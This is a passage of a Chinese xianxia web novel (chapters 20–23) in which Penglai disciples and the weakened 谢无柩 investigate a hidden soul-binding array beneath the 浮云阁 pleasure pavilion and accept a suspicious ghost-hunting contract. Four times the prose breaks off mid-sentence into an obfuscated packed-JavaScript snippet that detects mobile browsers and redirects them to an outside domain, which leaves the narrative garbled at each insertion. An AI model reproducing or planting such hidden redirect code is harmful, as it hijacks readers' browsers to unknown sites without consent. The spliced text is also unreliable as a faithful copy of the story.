那人他不认识,想来只是他们派出在密州的一个喽啰,真是打的一手好算盘,想做鸠占鹊巢之事,也不问问他答不答应。 既然他们还做着与他打擂台的梦,他就把台子彻底掀翻! 之前还是手下留情了,谢无柩心想,只是自己在哪就顺手灭掉哪的灵脉,这一次他要把所有的灵脉根基都毁了,他要应了自己的名字,无柩无柩,死而无柩。 萧衔蝉正垂首思索方才嗅到的不同寻常之气,突然妙妙屋群聊中出现了小师妹的声音——“师姐师姐,你能听到吗?” 萧衔蝉瞬间抬头,和谢无柩对视一眼,她着急问道:“你在哪?” 秦含玉道:“我在你们上面一层,第八十八层。” 萧衔蝉连忙向上看去,隔着层层花朵和美人,只见斜对面,一个满身肥肉,满脸胡茬,眉毛连成一条线,脸上有一颗大痣,痣上还有毛的猥琐男人,正蹦蹦跳跳地向她打招呼,笑的一脸灿烂。 真是伤眼睛。 萧衔蝉:哪家如花出来了? 她把视线移开了,淡定地问道:“小玉你在八十八层的哪间房?” 秦含玉委屈:“我就是那个脸上有媒婆痣的男人,师姐你方才分明看见我了!” 师姐妹们一碰头,秦含玉就把萧衔蝉和谢无柩带进了身后的屋子。 进门便见竹林影动,鹤鸣泉响,竹林掩映着数座样式各异的竹屋,石子小径通幽处,一凉亭就在石子路的尽头,亭子里青纱浮动,飘逸出尘,时青谷就坐在亭子西面。 他的对面,是一位白衣公子,青纱被吹动,露出公子容颜,超逸绝尘,不似凡人,眉眼如同漩涡,能将人的心神全部卷去,让人为他痴狂。 见萧衔蝉与谢无柩进来,公子手持茶壶给他们一人倒了一杯茶,邀他们同坐凉亭,天青瓷衬得他的手指如玉般光洁。 白衣公子温文尔雅道:“在下浮云阁公子,讳卿鱼,蒙秦姑娘相助,几位既是秦姑娘的同门,若有事只管与我说,我自然相帮。” 秦含玉笑道:“我已找到师姐和谢道友了,想来师兄们也能快快找到,卿鱼公子不必再为此操劳。” 萧衔蝉对这竹林之景赞叹不已。 方寸奇景,就是用足够的灵石,在房子乃至桃核的方寸之间,造出竹林、雪园、高山等奇景。 她欣赏完曾在书中记载的法术,坐到时青谷身边问道:“你不是来找你师姐的吗?找到了吗?” 时青谷沮丧地摇摇头:“没有,卿鱼公子倒是见过我师姐,但是他说几天前师姐就离开了,不知师姐现在又在哪个公子姑娘房中逍遥快活。” 萧衔蝉只得拍拍他的肩膀以做安慰,她看向师妹和卿鱼公子:“小玉你是怎么认识卿鱼公子的?” 秦含玉横刀阔马地坐下,豪爽一笑:“左不过是英雄救美。” 说到这她得意起来,手拍桌子开始吹嘘。 “那时我正蒙头往楼上跑,正巧见一女修欲对卿鱼公子霸王硬上弓,我又想救人又不想引人注目,索性易容成一个男人,上前言说卿鱼公子与我乃是龙阳之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807325|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,那女修便立刻离开了。 而后时道友便来了,打听他吴师姐的消息,阁里护卫巡逻也增加许多,我们二人就只得先留在卿鱼公子的房间里。” 萧衔蝉不知说什么,他们几个之中,数小师妹的易容术学得最不好,那女修怕是因为她这张易容后惨绝人寰的脸而吓跑的吧? 再看看那苍蝇似的痣,萧衔蝉不忍直视地转向一边,挥挥手:“快变回去,免得被那女修再找上门来。” 秦含玉乖乖恢复本来的样貌,她摸了摸下巴问:“师姐你们是怎么躲过护卫搜查的?” 谢无柩这才想起自己待选花魁的身份,拳头捏紧,刚想让萧衔蝉闭嘴,就听见她这个大嘴巴嘚吧嘚,直接简略交代一遍经过:“是因为谢道友要参选花魁,所以我们才能留下来。” 旁人听完倒还罢了,唯有卿鱼公子看向谢无柩,心中惊讶,这位道长看上去模样俊朗,光风霁月,未曾想他竟如此在意容貌,便道:“谢公子放心,你既是秦姑娘的朋友,我必助你夺得花魁之位。” 谢无柩一张脸黑了青,青了又黑,咬牙切齿道:“不必!” 卿鱼公子了然,看来这位不愿受嗟来之食,他得从别处想方设法助恩人之友得偿所愿才是,安置好恩人和她的朋友,卿鱼悄悄离开了房间。 浮云阁顶层。 夜犹良疯狂地将一把符贴在阵法的罡气罩上,他双手紧握,指甲深陷手掌中,,眼睛赤红,焦虑道:“祟气已经快压制不住了,很快就会冲破这些符箓,最迟到花魁大比那日,到时候所有人都会知晓……” 白衣人冷笑一声:“知晓便知晓,你只管让他们来降妖除魔就是,一群蠢货,能不能找到祟气源初之地都未知,就算找到了,有本座法宝坐镇,生人只能进不能出,旁人又岂会知晓我们的计划?若是失踪的人太多引起怀疑,大不了到时候再推出几个替罪羊便是。” 夜犹良慌张道:“已经有人怀疑了,今晚那两个修士一直盯着我,还有明月夜那边……” “那就让他们有来无回!”白衣人声音狠戾,似阴风呼啸。 “你疯了!”夜犹良惊恐,浮云阁日进斗金,若是因为这该死的阵法毁于一旦,岂非得不偿失? “区区浮云阁,蕞尔小利罢了。”白衣人不屑,声音阴冷,“若吾等大计可成,灵石算得了什么?你的眼界还是太窄了。” 到时候别说浮云阁,就是明月夜,也得在他的主人脚下俯首称臣。 黄色符纸上画着黑血色的纹路,被一股又一股凶悍凛冽的怨气冲击,发出荒林叶子被风吹动的“唰唰”声,在两轮皎洁月光之下,符纹亮起不祥的红光,诡谲骇异。 20. 明月夜(七) 蓬莱众人自从有了卿鱼公子相助,心情放松许多,虽说浮云阁里还是欢声笑语不绝于耳,但几人日落而息的习惯难以改变,见夜色已深,告别后便各自回房安睡。 两男人一起挤在卿鱼公子的屋子,萧衔蝉和师妹一起到浮云阁给谢棺这个待选花魁的屋子。 可是二人刚躺下没多久,肚子就开始叫了,非常默契地你一下我一下,在深夜中奏响合唱。 合唱到第二轮的时候,萧衔蝉终于忍无可忍地坐起来:“我还有几罐花蜜,去厨房换点吃的,你不要乱走,就在房间等我。” 秦含玉担忧人生地不熟,万一出什么差错:“师姐你行吗?咱们忍一晚算了,又不是没有挨着饿睡觉过。” “他们现在以为我是浮云阁里的姑娘,就算去不了厨房,大不了我去他们的宴席里拣剩菜,不会有事的。” 萧衔蝉一骨碌下床觅食去了。 浮云阁除了一楼大厅,其余的楼层都是如卿鱼公子的屋子般,一屋一景,萧衔蝉决定去一楼,看看有没有剩下的干净的好酒好菜,她好顺走一些。 一楼的地板是一整块的玉,许是浸染过,这块玉呈现艳丽的红色,其上又有能工巧匠雕刻花纹,饰以彩漆,从上面看,一楼就像一幅百花毯。 酒桌呈圆形分布,环绕着这块“百花毯”,好几桌都有美人弹唱白玉京特有的淫词艳曲:“白玉山,仙果酒,一个小虫往里走,黑漆漆,滑溜溜,小虫原是条大龙。” 美人弹着琵琶,与客人笑闹在一处。 萧衔蝉心里感叹修真界的人就是大胆,什么样的东西都能编进曲子唱出来。 她沿着不起眼的墙边的走,一连路过好几桌残羹冷炙,终于发现有一桌客人被美人和公子们搀扶着离开,她立刻一个箭步上前,见这一桌空着好几个酒坛子,菜肴倒是动都没动,不由心中暗道“浪费”。 不过正好,倒便宜了她! 萧衔蝉趁人不注意,抄起一盘烧鸡就往芥子袋里扔,想了想师妹的饭量,又将肘子、烤鱼、大鹅等等菜肴也装了进去,还装了一壶师妹爱喝的酒,做贼心虚地左右看看,正要离开,就看见了熟悉的身影。 谢无柩趁时青谷与卿鱼公子进卧室后便离开了,这两人一个筑基期,一个练气期,即便他们都清醒,谢无柩也有把握在不惊动他们的前提下离开。 在白日时他看到浮云阁有九十九层花灯便有所怀疑了,再感受到那个熟悉的气息,他断定,他们必然把那东西压在地下。 以浮云阁为镇,凭花灯运灵,用血玉承接,这是一个大阵,血玉之上的花纹实则是上古时期锁魂镇祟的符纹。 这符纹经过伪装改造,看起来像是画一样,常人一般也不会盯着地板瞧,上面又有桌椅,人来人往的,也难怪这些年无一修士看出来。 若是他把他们的精心谋划全数提前拿走,待到日后,那群人以为计谋终于得逞,却发现功亏一篑,不得不随天下一起死无葬身之地时,他们的表情一定很好看。 想到此,谢无柩脸上浮现出一丝畅快到扭曲的表情,只可惜到时候自己却看不到,不过一想到那群人和天道的计划都全盘崩溃,他就觉得快活。 “谢道友!”一声清脆的招呼从背后传来,紧接着,一只手轻轻拍在他的胳膊上“你怎么在这?也是饿了出来找宵夜的吗?” 谢无柩一怔,满腹翻滚的尖戾情绪被这清脆的声音打散,又恢复成面带微笑的翩翩公子模样:“非也,我睡不着,出来走走。” 居然因为区区饿肚子就在陌生地方独自出门,这人可真是……他在心里不屑地嗤笑。 “睡不着?”萧衔蝉皱眉,她犹豫了一下,小心翼翼道,“谢公子,你现在身体里没有任何灵气,除了锻造好的灵体,与凡人无异,如果不睡觉,你会被拖垮的。” 譬如凡人呼吸,一旦察觉到自己在呼吸,那么呼吸就会变成一件困难的事,修仙也是同理,一旦有意识地吸收灵气,这件事就会困难重重,而在睡梦中,身体会自然感应天地灵气,如果能休息好,那比醒着修行有用得多。 筑基以上的修士掌握了身体与灵气的天然规则,他们可以用打坐代替睡眠,但筑基以下的修士最好每日保持一定时辰的睡眠。 更别说像谢棺这样的重伤人士,睡觉可以帮助他疗伤。 萧衔蝉有些着急,她将夜宵抛之脑后,拉着谢无柩上楼,一想到他白天走了那么多层楼梯,她停下脚步。 谢道友的身体会吃不消吧? 谢无柩在她拉着他走的时候就表示了抗议,但抗议无效,此时他看着萧衔蝉若有所思地看着他,心中突然又涌现出一股熟悉的不妙预感,紧接着,不待他说什么,这不妙的预感就成真了。 萧衔蝉一个拔树动作,又将他抱起来,谢无柩只觉得这种仰天看风景的姿势为什么这么熟悉,对了,他们初见之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811121|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后没多久,她也是用这个动作把他抱下船的。 “睡不着的时候,就静静躺在床上数羊,不要出来乱晃,这里太亮太吵,太影响睡眠了。” 萧衔蝉抱着他,像呵护一朵娇花,稳稳地向卿鱼公子的房间走去,谢无柩僵硬笔直得像是在站岗的雕塑,一口银牙差点咬碎。 卿鱼公子不愧是蝉联多届的花魁,他的竹林里屋子极多,每一间都精致非常。 萧衔蝉抱着谢无柩进了一间空屋子,将他放在榻上,借着密珠灯的光芒看了一眼,她颇高兴道:“你现在脸色红润多了!这样一对比,白天时你的脸色苍白,想是劳累过度导致的,以后你要出行记得叫我,我抱你走。” 谢无柩运气压下自己涌向喉头的怒火,胸膛剧烈起伏两下,脸色红润?他这是被气的! 屋内灯光倏尔暗淡,只余一盏蒙上青纱的密珠灯,散发朦胧的光芒。 萧衔蝉坐到窗前的榻上,与谢无柩的床隔着一人多的距离,轻声道:“快睡吧。” 这句话就好像有魔力,谢无柩渐渐觉得浑身的疲乏与疼痛一起涌上来,他已经许久未曾有这般感受了,就是以前几度重伤濒死,他也从未放任自己,因为他不容忍自己处于弱势。 可他终究是人,人所能体会到的,他都能,今夜这一放松,好像前几百几千年的疲乏都浮现出来,谢无柩抗拒这种本能,但扛不住眼皮沉重,他终是睡了过去。 屋内静谧,烛光幽暗,萧衔蝉本是坐在一旁看护谢棺的,打算等一会就回去,却敌不过睡意,歪靠在榻上,也睡过去了。 竹林无风自动,时青谷夜半梦到师姐的鸡又在啄他的谷子,一时被气醒了,刚睁眼就听到有人进到卿鱼公子的房间,他悄悄看去,却见萧道友抱着谢道友进了屋子,而后屋子的灯很快就熄了。 这……孤男寡女夜半共处一室,能是因为什么啊! 时青谷默默消化掉这个惊人的新闻,心里已经给萧谢二人打上你侬我侬片刻不得分开的小情侣标签。 背着同门悄悄在一起,好刺激,好好磕,时青谷默默露出个姨母笑。 谢棺只睡了两个多时辰就醒来了,意识刚刚回拢的瞬间,他就感觉到房间内还有一个呼吸声。 他一下子坐起身,满眼警觉,却看见斜对面的竹榻上,那个妖修睡得人事不知。 谢棺捏了捏眉心,他猜现在把她卖了,估计她都不会有反应。 21. 明月夜(八) 早饭时,萧衔蝉满脸讨好地赔了小师妹一顿大餐——用她昨晚顺走的鸡鸭鱼肉和大肘子,秦含玉一边啃肘子,一边强烈谴责师姐一去不复还的行为。 时青谷则纠结要不要替萧道友解释一二,可仔细想想,人家亲师妹都不知道他们二人相好之事,说明他们不愿被人知晓,时青谷只好将“一起磕cp”的邀约伴着烧鸡又咽下去。 谢无柩察觉到时青谷看向他时诡异的眼神,但是因为身上的衣服,这几天凡是见到他的人在看向他时,视线都很诡异,他已经习惯了,只默默思索那个白衣人的事。 几人在卿鱼公子的屋子饱餐一顿,忽听到一个用了扬声术的声音敲锣打鼓喊道:“下注了下注了!买花蜜送票,正宗美人花蜂蜜,美容养颜,延年益寿,寿比南山!大家快买花蜜收集票,给自己心里的花魁投出宝贵的一票!” 全民选花人,请多指教!” 这声音很熟悉,秦含玉和萧衔蝉对视一眼,这不是她们二师兄吗? 一楼大厅此时人声鼎沸,大家都围着中间高台上的男子。 只见高台背后竖着一百零一木柱,柱子上挂着参选花魁的巨幅画像,下面堆放客人们下注的灵石、法宝等物,可唯有一根柱子空着,上面只孤零零刻着谢公子三个字。 萧衔蝉他们来到一楼时,金不禁正像一个掉进了钱堆的奸商,满面笑容从一位修士手里接过钱,谄笑的表情不变,挪向修士身旁:“几位要给哪名参选者下注……妙妙?小玉?你们怎么在这?” 对上师妹们的视线,金万两瞬间变回二师兄金不禁:“你们年纪小,不许赌博!” 萧衔蝉不理会师兄只许州官放火,不许百姓点灯的行为,她先是张大嘴巴真情实感地赞美一声“握草!”,而后问道,“师兄,你是怎么说服浮云阁的?他们竟然允许你在他们地盘上开赌!” 金不禁吊儿郎当地在台子边缘蹲下,左右看看,传音入密:“不过互许以利罢了,我和管事的说好了,我们一起操控赌盘和花魁之比,最后赚得的钱七成都归浮云阁,管事一听就同意了,还给我拨护卫和小二帮忙。” 好一副选秀背后操控票数的资本家嘴脸。 几人交换了自分别后的遇到事情,听完二师兄纯靠忽悠,空手套白狼的创业经历,萧衔蝉和秦含玉就只会鼓掌赞叹了。 “话说回来……”金不禁坐到高台边缘,“那个谢公子是谁?听说不是浮云阁的人,本来花魁之选已是旧节目了,无甚新意,大家都快腻了,这个谢公子横空出世来踢馆,一下子把大伙热情给提高了,大家都在议论这个谢公子该是一个怎样的绝世美人儿,他现在可是本届的黑马。” 谢无柩感觉自己的拳头又硬了,萧衔蝉看着“绝世美人儿”黑的跟锅底有一比的脸,有些心虚。 在萧衔蝉说话前,卿鱼公子遣人来找金不禁,来人言道卿鱼公子想与赌盘老板一叙,金不禁挠了挠头发,跟着来人去了,临走前还笑萧衔蝉:“你这脸色看上去怎么跟见了鬼似的?” 萧衔蝉张了张嘴,突然想到什么,双手拍在一起:“鬼!对了,是鬼!” 她激动地拉住谢棺,传音入密:“谢道友,你还记得那个白衣人吗?就是你要找的那个人,我当时就觉得他的气息有些奇怪,现在想想,是祟气!” 一般生前惨死的厉鬼,走歪道的修士,或是生受非人折磨的活人才会产生祟气。 她一手摸着下巴仔细回想:“那祟气也不寻常,好似还夹杂着充盈的灵气。” 秦含玉也加入他们的聊天:“师姐你确定是祟气吗?”她严肃起一张静秀的脸,“如果你们说的是昨晚顶楼那个白衣人的话,我在他身上还感受到了魔气!” 她看向师姐和谢道友:“你们也知道我是魔修,对魔气简直熟的不能再熟,只是那魔气非常微弱,像是沾到他身上的。” 秦含玉思索,“我想那人应该有个修魔的朋友,一直待在他身边,才让他沾染了些许魔气。” 萧衔蝉更迷惑了:“祟气、灵气加魔气?他是修的什么道,怎么身上的气如此驳杂?难道他走火入魔了?” 谢无柩不想再看她犯蠢下去,直接了当道:“那人是个鬼修。” “鬼修?” 秦含玉和萧衔蝉齐齐惊讶出声,她们的大师兄也是鬼修,她们对鬼气也很是熟悉,黑衣人身上可一丝鬼气也无。 这声“鬼修”太大声,吸引了周围其他修士。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815963|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这位道友,你说什么?鬼修?”几名客人皱眉看向萧衔蝉他们,“听你话中的意思……难道是在说浮云阁有鬼修?” 他们说起鬼修时,满脸厌恶。 自诸天万界分界而居后,九州的人修、魔修、妖修和鬼修之间爆发过数次战争,今天人修杀了妖修的族人,明天鬼修屠了魔修的满门,最后各族修士间的仇怨越积越深,乃至于各族之间再无往来,若是见到他族修士,轻则发生口角,重则师门火拼。 后来九州化成九方世界,人修繁衍速度极快,九方各地都生活着人修,倒是妖修、鬼修和魔修越来越少,这几百年来更是一个也见不着。 故而听到“鬼修”二字,浮云阁的客人想起祖祖辈辈的积怨,又是恨又是嫌恶。 听完谢无柩传音入密讲述了各族之间的矛盾,萧衔蝉和秦含玉更加心有戚戚然,好在师父有先见之明,离家前给他们画了敛灵符。 她们定了定心神,刚想对问话之人说清楚,他们只在一个黑衣人身上感受到了怨气,浮云阁的管事就来了。 “客官说笑了,浮云阁怎么会有鬼修?自千年前那作恶多端的明烛君被众门派高手杀了后,咱们九州可太平不少,再无邪修问世。” 一个轻柔的声音传来,人群散开,只见一位着碧青锦裙的女子从台阶缓步而下,她看着容貌端正,可是看过一眼后就会迅速忘记她长什么模样,身姿并不柔美,一板一眼地行走,好似萧衔蝉高中的教导主任。 碧衣女子看见谢无柩后,眼珠定住,声音轻柔:“小女子碧芳,公子好人品,想必公子就是要参与此次花魁之比的谢公子吧?” 谢无柩等人齐齐向碧芳看去,秦含玉眸光微闪,她见过这个人。 听到神秘的谢公子之名,人群一下子议论纷纷起来,将方才听到的“鬼修”一事抛诸脑后,纷纷挤到前面,想一睹传说中的谢公子芳颜。 碧芳又道:“阁主听闻谢公子品貌不俗,想邀谢公子一见,几位既是谢公子的朋友,不妨同去与阁主一叙。” 浮云阁的阁主常以白纱覆面,行踪不定,很是神秘,谢无柩只在心中计较一瞬便应邀而去,萧衔蝉因担心他,和秦含玉一起跟了过去。 22. 明月夜(九) 浮云阁顶层是第九十九层,这一层的花灯是昙花。 留梦三更叹自怜,昙花是夜晚的花朵,顶层清静,整座浮云阁飞檐上挂的铃铛被风吹动,玲玲声不断。 看到昙花,萧衔蝉想到大师兄了,大师兄的本命法宝就是一对双生骨昙,混乱中大家一起进了浮云阁,然而直到现在,还是找不到大师兄的身影。 整个第九十九层就只有一个房间,雕花的门窗上糊的纱夹着金丝银线,看起来名贵非常,一打开门,只见里面云雾缭绕。 一团又一团厚重的云中,有一架似圆月般的玉屏,屏风后端坐一人,碧芳将人带到,便绕到玉屏后回禀。 萧衔蝉自踏进来心中就犹疑不定,她从玉屏背后的人身上嗅到了熟悉的气息,与那晚在白衣人身上闻到的一模一样,甚至,这里的祟气更重。 “诸位远道而来,浮云阁招待不周了。”那人开口,声音低沉又威严,使人听了便觉此人定是发号施令者,“碧芳,看座。” 碧芳手一挥,白云聚成玉椅,示意他们坐下。 那人却并没有转过身,从玉屏脚露出一截白衣,高深莫测。 “听碧芳说,诸位怀疑浮云阁有鬼修?” 萧衔蝉眼神闪烁,她只在一楼突然惊呼出“鬼修”二字,可从未指名道姓说这里有鬼修,但观此人语气,好似非常希望他们知道浮云阁里有鬼修似的。 那人继续道:“诸位说的不错,但浮云阁里的不是鬼修”他顿了顿,声音压低,“而是厉鬼!” 空旷房间,滚滚云层中不断回荡着“厉鬼”二字,显得可怖诡异。 萧秦二人对视一眼,很默契地没有接话,沉默听他说。 那人停顿了半天,不见身后传来预想中的惊呼,有些尴尬,只是话说到这不好停下来。 他道:“不知从何开始,密州突然出现了许多孤魂野鬼,浮云阁里也多了一个藏在深处的厉鬼,好在我们有一个缚鬼之阵,能压制住它,只是那鬼道行不浅,被阵法缚住之后,不知使了什么法术,连带阵法一起不见了踪影,我只知晓那鬼还在阁里,诸位都是英雄少年,我想请诸位帮我浮云阁降妖除魔。” 萧衔蝉她们还是一声不吭,室内一阵诡异的沉默。 玉屏背后的人终于装不下去了,他轻咳一声,从玉屏背后走了出来,只见一张脸被白色兜帽遮盖,只露出戴着银玉面具的下半张脸,面具缝隙中的肤色青白。 “诸位意下如何?当然,浮云阁不会让诸位白白出力。” 白衣人自信非常,接下来按照他的剧本,这些涉世未深的年轻修士会毫不犹豫答应他,然后说些“降妖除魔为己任”之类的话,连报酬都不要就会兴冲冲地去捉鬼。 白衣人的嘴角露出一抹微不可察的笑。 谢无柩和萧衔蝉同时开口了。 谢无柩:“好。” 萧衔蝉:“你要给我们多少钱,先说好了,钱少我们可不干!” 从金边白兜帽下露出的微笑僵住了。 萧衔蝉掰着手指计算了一下,按照悬赏任务的市价,筑基期修士通常能得五百上品灵石,金丹则是一千,虽然大师兄不在,但她可不能忘了师兄,谢道友现在没有法力不算在内,再加上时道友…… 她冲着白衣人伸出三根指头。 白衣人眯起眼睛,嘴角抽搐:“三万灵石,好,成交!” 胃口真大,也不看看他们自己值不值得这个价,他此番来到这里所携灵石也不过三十多万,大部分已经用作打点和阵法上,如今再送去一部分,白衣人觉得自己心痛。 听到这个数字的萧衔蝉呼吸一窒,双手颤抖,比着三的手指头僵成了鸡爪。 这些外界的修士怎么回事?怎么喜欢十倍百倍的抬价呢? 她的嘴唇蠕动,握紧拳头,大声补充道:“我说的是上品灵石!” 白衣人皱眉:“当然是上品灵石!” 既然已经狮子大开口,现在却还多此一举的补充,是看不起他吗? 白衣人恼怒,迅速取出一张契符,只要他们寻到缚鬼阵,契符会自动给他们带去一万灵石,如果捉住鬼,剩下两万也会瞬间被契符送到他们手中。 只可惜捉到“鬼”的同时,他们会和三万灵石一起埋在地底下,他在心中冷笑。 “不过近日是浮云阁花魁之比,为了不影响此等盛事,你们便待花魁之比后再行捉鬼。” 免得人多口杂,一着不慎,被人看出端倪。 看着萧衔蝉一行人下楼,碧芳端茶走进来:“真人,那伙人未必真的察觉到咱们阁内的秘密,何必横生枝节呢?” 白衣人呷了一口清茶:“他们不是什么大门派出身,天赋不错,但修为低,又是外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832259|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地人,就算丧命于此也没人知道。 明月夜那边传来消息,近些年消失的外门弟子太多了,已经引起了注意,最近不能再给咱们这里送弟子,若无低阶修士做耗材,难不成要本尊去么?” 碧芳讷讷不敢言。 白衣人冷笑,放下茶杯:“那夜家小儿,成事不足,败事有余,昨日阵法里误入了一个修士,这也便罢了,只把他吓得面无人色,依我看,还是告诉明月夜那边,浮云阁最好换个人来做主。” 金丝银线门外,一个身影一闪而过。 直到回到她们昨晚休息的屋子,萧衔蝉给房间布置了隔音符后,才取出一直揣在怀里的契符,与师妹和谢棺商量此事。 谢无柩第一句话便是:“今天这个故作神秘的阁主,就是我们那晚看到的白衣人。” 萧衔蝉连连点头:“气息一模一样,他竟是浮云阁阁主!” 秦含玉蹙眉:“师姐,此事有古怪,这钱不好赚。” 她话虽这么说,眼睛里却流露出挣扎。 “还有那个碧芳,她就是强抢卿鱼公子的女修!可是看卿鱼公子当时的神情,似乎不认识这个碧芳,虽然卿鱼公子深居简出,但作为浮云阁的摇钱树,阁主身旁的侍女他怎会不认识?我猜白衣人和碧芳是近些时候才来到浮云阁的。” “浮云阁已经伫立此地几百年了。”萧衔蝉喝了一大口茶水,“幕后老板不可能近些时候才派人来查看产业,只能说明幕后之人有势力可供驱使,每回派来的人都不同,那人主动提起的缚鬼阵,绝不会是普通的阵法。” 秦含玉更担忧了:“要不……还是算了?” 萧衔蝉叹气:“我本来打算只要三千,结果他一开口就是三万,那可是三万上品灵石!”她加重最后几个字的发音,“别说捉鬼,就是他让我把鬼的牌位请回去当祖先供奉都行。” 谢无柩对她这种视财如命的德行已经见怪不怪了,哪个蓬莱岛弟子不是这副穷疯了的样子呢。 萧衔蝉没说出的担忧是,那人说浮云阁有缚鬼阵,她们的大师兄恰好就是鬼修,虽然已是金丹修为,但万一呢,万一大师兄遭了暗算,被困在缚鬼阵里了呢? 这也是萧衔蝉为什么答应白衣人要求的原因之一,她倒要看看这人葫芦里卖的什么药。 想到此,秦含玉传信将二师兄叫回来说个明白。 23. 明月夜(十) 浮云阁里,萧衔蝉一行人往顶楼走去。 谢无柩看着毫无守卫楼层,眼睫闪了闪,心中冒出个猜测,如他所想,一路畅行无阻,甚至阁主的房间也无人把守,打开门,里面只有一团有一团快要淹没人头顶的云。 谢无柩微微皱眉,难道他想错了,那人并非故意诱他们深入,要不然,怎么这里依旧被障目法层层围住呢? “我猜地下入口就在白衣人房间里。”萧衔蝉压低声音, 谢无柩难得点头:“我赞同萧道友的看法。” 既然那白衣人有意请君入瓮,肯定会留给他们能“入瓮”的地方。 “这个房间有古怪。”谢无柩想一挥袖,将方寸奇景的法力撤掉,露出屋子本来面目,只可惜现在他与凡人无异,只得道,“萧道友,你试试能不能找到这里祟气最重的地方。” 萧衔蝉立刻上前,云团没过腰腹,她走在最前面,鼻子一耸一耸,将这看起来没有尽头的屋子走遍,终于在某团云旁停下脚步。 “就是这里!”她笃定道,“虽然隐隐约约的好似根本没有,可相比较这间屋子其他地方,这里祟气最重!” 空茫的夜空上一颗星子也看不到,明月夜建在空中,与月比邻,能看见许多凡人看不见的微小的星星。 夜犹良忽又担忧,自己虽然打晕了碧芳,让她无法前去撤掉顶楼障眼法,但万一那伙人有什么定位法宝呢? 他道:“万一他们找到了通往地下的阵法呢?” 露白长老自信地拿起折扇扇了几下,一派淡然道:“缚在阵中的那凶物已经走火入魔,其魔气之煞,将整个阵法都染上了魔煞,若非飞檐上挂有五百九十又四盏安魂辟邪铃,那魔气早就冲破阵法了。 寻常筑基修士便是寻到阵法,也会被如此浓重凶煞的魔气引得灵台混沌,严重者还会生出心魔,寸步难行,你以为谁都像你似的,有我亲手画的辟邪符护体?” 一层套一层,除非他们故意引入,不然那些修士根本无法毫发无损地抵达深埋地下的那处。 浮云阁顶层的众人陷入为难,虽然寻到了祟气最重的地方,然而云雾遮蔽,他们无法真正看清里面是什么。 金不禁上前一步,示意师妹让开。 他双手结印,一道火红带金的灵力瞬间结出燃净印,火舌燎原一般将这里的云雾舔舐干净,一个贴满黄纸符箓的阵法出现在众人眼前。 秦含玉看着符箓边缘黑焦的痕迹,瞳孔一缩,迅速将三师姐拉到自己身后,又大声道:“等等!大家别急着入阵,这里有魔气!” 妖魔鬼人四修所修成的气各不相同,气之性也不相同。 魔修讲究顺心而为,无所顾忌,是以他们的魔气最为无状,容易伤人,若是魔修大能,他所散发的魔气甚至可以重伤没有防备的低阶小修士。 秦含玉右手抽出自己背上的且停侯,一察觉到主人严肃以待的护持之心,且停侯的锋芒利得要将人眼刺伤,丝毫没有充当铁板时的温顺。 黑色的魔气从且停侯的刀面溢散,渐渐形成一个球,将众人笼罩在其中。 “这样就好了”秦含玉道,“有我的魔气在外做抵挡,大家入阵时便不会太难受。” 金不禁和萧衔蝉松了一口气,方才那丝丝陌生魔气充满攻击性,确实让他们感到不适,但师妹的魔气就不同了,他们一同吃住一同修炼,视彼此为血亲家人,自然不会对家人身上的气息产生不适。 萧衔蝉感慨:“幸好咱们门派生态平衡。” 若无魔修相助,普通修士在这里恐怕会受伤。 然而,谢无柩很不适应这种将背后交给朋友的行为,他曾经也有深信不疑的人,但换来的结局惨不忍睹,如今他谁都不信,但此时他不仅得交付后背,还要交付全副身家性命。 本能让他瞬间运气至丹田,可碎裂的经脉和灵府完全无法支撑灵气涤荡,在他三番两次强行运灵后,经脉碎得更彻底了。 谢无柩将喉间痒意和血腥一同咽下,他不能在外人面前示弱。 萧衔蝉敏锐的鼻子嗅到一丝血腥,连忙看去,在森寒的黑色魔气和诡异的红纹黄符衬托下,身旁谢道友的脸白得比大师兄洗了几遍的骷髅身还要白,这就使得他嘴角的一丝红愈发显眼。 她立刻伸出大尾巴将强撑的谢道友裹住,尾巴像米其林轮胎一层一层裹住的瞬间,她感受到了他的摇摇欲坠。 